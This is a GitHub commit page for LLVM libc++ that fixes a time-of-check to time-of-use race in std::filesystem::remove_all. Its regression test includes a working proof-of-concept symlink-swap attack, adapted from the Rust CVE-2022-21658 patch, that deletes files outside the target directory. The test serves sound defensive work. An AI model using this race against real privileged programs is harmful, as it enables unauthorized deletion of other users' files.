-
Notifications
You must be signed in to change notification settings - Fork 12.5k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
[libc++] Fix TOCTOU issue with std::filesystem::remove_all
https://bugs.chromium.org/p/llvm/issues/detail?id=19 rdar://87912416 Differential Revision: https://reviews.llvm.org/D118134
- Loading branch information
Showing
2 changed files
with
195 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
89 changes: 89 additions & 0 deletions
89
libcxx/test/std/input.output/filesystems/fs.op.funcs/fs.op.remove_all/toctou.pass.cpp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
//===----------------------------------------------------------------------===// | ||
// | ||
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. | ||
// See https://llvm.org/LICENSE.txt for license information. | ||
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception | ||
// | ||
//===----------------------------------------------------------------------===// | ||
|
||
// UNSUPPORTED: c++03 | ||
// UNSUPPORTED: libcpp-has-no-localization | ||
// UNSUPPORTED: libcpp-has-no-threads | ||
|
||
// <filesystem> | ||
|
||
// Test for a time-of-check to time-of-use issue with std::filesystem::remove_all. | ||
// | ||
// Scenario: | ||
// The attacker wants to get directory contents deleted, to which he does not have access. | ||
// He has a way to get a privileged binary call `std::filesystem::remove_all()` on a | ||
// directory he controls, e.g. in his home directory. | ||
// | ||
// The POC sets up the `attack_dest/attack_file` which the attacker wants to have deleted. | ||
// The attacker repeatedly creates a directory and replaces it with a symlink from | ||
// `victim_del` to `attack_dest` while the victim code calls `std::filesystem::remove_all()` | ||
// on `victim_del`. After a few seconds the attack has succeeded and | ||
// `attack_dest/attack_file` is deleted. | ||
// | ||
// This is taken from https://github.com/rust-lang/wg-security-response/blob/master/patches/CVE-2022-21658/0002-Fix-CVE-2022-21658-for-UNIX-like.patch | ||
|
||
// This test requires a dylib containing the fix shipped in https://reviews.llvm.org/D118134. | ||
// We use UNSUPPORTED instead of XFAIL because the test might not fail reliably. | ||
// UNSUPPORTED: use_system_cxx_lib && target={{.+}}-apple-macosx10.{{9|10|11|12|13|14|15}} | ||
// UNSUPPORTED: use_system_cxx_lib && target={{.+}}-apple-macosx11 | ||
// UNSUPPORTED: use_system_cxx_lib && target={{.+}}-apple-macosx12.{{0|1|2}} | ||
|
||
// Windows doesn't support the necessary APIs to mitigate this issue. | ||
// UNSUPPORTED: target={{.+}}-windows-{{.+}} | ||
|
||
#include <cstdio> | ||
#include <filesystem> | ||
#include <system_error> | ||
#include <thread> | ||
|
||
#include "filesystem_include.h" | ||
#include "filesystem_test_helper.h" | ||
|
||
int main() { | ||
scoped_test_env env; | ||
fs::path const tmpdir = env.create_dir("mydir"); | ||
fs::path const victim_del_path = tmpdir / "victim_del"; | ||
fs::path const attack_dest_dir = env.create_dir(tmpdir / "attack_dest"); | ||
fs::path const attack_dest_file = env.create_file(attack_dest_dir / "attack_file", 42); | ||
|
||
// victim just continuously removes `victim_del` | ||
bool stop = false; | ||
std::thread t{[&]() { | ||
while (!stop) { | ||
std::error_code ec; | ||
fs::remove_all(victim_del_path, ec); // ignore any error | ||
} | ||
}}; | ||
|
||
// attacker (could of course be in a separate process) | ||
auto start_time = std::chrono::system_clock::now(); | ||
auto elapsed_since = [](std::chrono::system_clock::time_point const& time_point) { | ||
return std::chrono::duration_cast<std::chrono::seconds>(std::chrono::system_clock::now() - time_point); | ||
}; | ||
bool attack_succeeded = false; | ||
while (elapsed_since(start_time) < std::chrono::seconds(5)) { | ||
if (!fs::exists(attack_dest_file)) { | ||
std::printf("Victim deleted symlinked file outside of victim_del. Attack succeeded in %lld seconds.\n", | ||
elapsed_since(start_time).count()); | ||
attack_succeeded = true; | ||
break; | ||
} | ||
std::error_code ec; | ||
fs::create_directory(victim_del_path, ec); | ||
if (ec) { | ||
continue; | ||
} | ||
|
||
fs::remove(victim_del_path); | ||
fs::create_directory_symlink(attack_dest_dir, victim_del_path); | ||
} | ||
stop = true; | ||
t.join(); | ||
|
||
return attack_succeeded ? 1 : 0; | ||
} |